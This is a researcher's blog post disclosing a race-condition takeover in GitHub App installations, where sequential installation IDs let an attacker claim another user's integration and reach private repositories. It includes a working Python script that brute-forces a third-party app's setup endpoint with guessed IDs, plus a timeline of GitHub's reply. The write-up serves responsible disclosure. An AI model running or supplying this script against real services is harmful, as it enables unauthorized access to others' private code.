How I Hacked Your Private Repository in GitHub (And Got JackShit)

8 months ago 67
BOOK THIS SPACE FOR AD
ARTICLE AD

//unixi.io/

Photo by Click and Boo on Unsplash

TLDR: During my work with a third-party app integrating with GitHub, I discovered a critical vulnerability in the GitHub App installation flow leading to repository takeover. This vulnerability allows an attacker to hijack the integration process and gain unauthorized access to arbitrary private repositories, posing a significant security risk.

After reporting this security vulnerability to GitHub, I got back a statement that it is an “intentional design decision”.

GitHub Apps, also known as Integrations, are third-party applications that can be built to interact with GitHub’s API to extend and enhance the functionality of GitHub. These apps can be used to automate workflows, manage projects, and integrate with external services.

They work by authenticating with GitHub using a specific set of permissions defined by the app creator, which determines what actions the app can perform on behalf of a user or an organization. Once installed, GitHub Apps can access specific repositories or entire GitHub accounts, depending on the level of access granted during the installation process. This allows for a wide range of applications, from continuous integration and deployment services to project management and code quality tools, all integrated seamlessly with the GitHub platform.

While integrating a third-party app with GitHub, I found out that because I am using separate emails for the GitHub and the third-party app, I am unable to complete the integration process.

As I was lazy (apparently this trait is super helpful for discovering security gaps) and didn’t want to transfer ownership of the repository to the same email that is used by the third-party, I’ve decided to copy the integration URL, complete it in my other browser profile and once finished paste it back into the former browser.

I began the integration flow via the third-party app by navigating to their integrations and clicking on “Integrate with GitHub” button that opens the following GitHub URL:

https://github.com/apps/[app_name]/installations/new

After selecting the repositories I wanted to give permissions to and clicking the install button (image below), I was redirected to the App’s site to complete the setup (which is the callback endpoint used by the App):

https://[app_domain]/[...api_url...]/github/setup?installation_id=[installation_id]&setup_action=install

And… that was all I needed to discover the security gap.

Figure 1 — Example of third-party installation page

I immediately suspected that the installation_id parameter is a sequential identifier, shared for all installations made on GitHub.

This means that each installation done to GitHub increments this value by one (I have confirmed this by verifying that the identifier is of the same sequence by integrating different Third-Party Apps and also by using different GitHub accounts).

Here are some examples of installation_id values generated by integrating several times all within a few minutes (slightly modified for anonymity):

…/setup?installation_id=48547403&setup_action=install…/setup?installation_id=48547463&setup_action=install…/setup?installation_id=48547509&setup_action=install

Side effect of this vulnerability is the fact that now I can calculate the amount of integrations done on GitHub between two time periods (FYI, it’s almost 10k each day).

But, instead of wasting your time on my personal hobby of calculating the revenue of cafes I dine at via disclosure of sequential identifiers in the receipt, let’s cut to the chase.

An attacker can guess the sequential identifier of your integration, and if their request reaches the third-party before yours, the integration will be associated with their account — not yours.

An attacker can continuously send setup completion requests to third-party apps with installation_id matching the current ongoing sequence. If the attacker’s request is accepted before the legitimate user’s request by the third-party app, the attacker can take over the registration of integration of that third-party app, gaining control over the repositories based on the permission level of the integrated app.

Python script for a BruteForce against a sample third-party app:

import requests, threading, time

takover_done = False
session_cookies = {} ### Fill in your session
target_endpoint = 'https://<<INTEGRATION_HOSTNAME>>/graphql'
estimated_time = time.time() + 60 * 3 ### Estimate when the ID will be reached

def bruteforce_integration_id(installation_id):
res = requests.post(target_endpoint, json={"query": "mutation { integrationGithubConnect( installationId: \"%s\" ) { integration { id } lastSyncId }}"%(installation_id) }, cookies=session_cookies)
res_json = res.json()

if res_json['data']:
print('[*] Account takeover was successful')
takover_done = True

def bruteforce_runner(attack_range):
while True:
if takover_done:
die()

if time.time() > estimated_time:
print('[-] Account takeover failed, please retry')
die()

for installation_id in attack_range:
threading.Thread(
target=bruteforce_integration_id,
args=(installation_id,
).start()
time.sleep(0.5)

bruteforce_runner(list(range(
48547403,
48547413
))) ### Range of the upcoming IDs we want to target

Additional improvements to the script would include:

Automated increase in the bruteforce id once it is reached.Addition of multiple third-parties to target at once.2024–03–17: Submitted the vulnerability report to GitHub’s Bug Bounty program.2024–03–18: GitHub acknowledged the submission and stated they were looking into the issue.2024–03–18: GitHub concluded that this behavior was an intentional design decision and not eligible for a reward under the Bug Bounty program. They suggested mitigation measures for GitHub Apps.2024–03–19: I expressed my concerns about the severity of the vulnerability and its potential impact on the security of GitHub repositories.2024–03–26: Followed up for additional information and clarification on the severity verdict.2024–03–26: GitHub confirmed that they were tracking security improvements to this flow internally and reiterated that it was not eligible for a reward. They also gave permission to publish a write-up on the submission.

Despite the serious implications of this vulnerability, GitHub’s Bug Bounty program classified it as a non-issue, citing it as an intentional design decision. This response highlights the challenges security researchers may face when disclosing security vulnerabilities, especially when their severity is underestimated by the affected platform. It is crucial for platforms like GitHub to reevaluate their security measures and prioritize the protection of their users’ data.

Overall, I hope that this article will be eye-opening to the GitHub’s security team, or at the very least pressure them into patching this vulnerability and securing the product that is used by so many clients worldwide.

Read Entire Article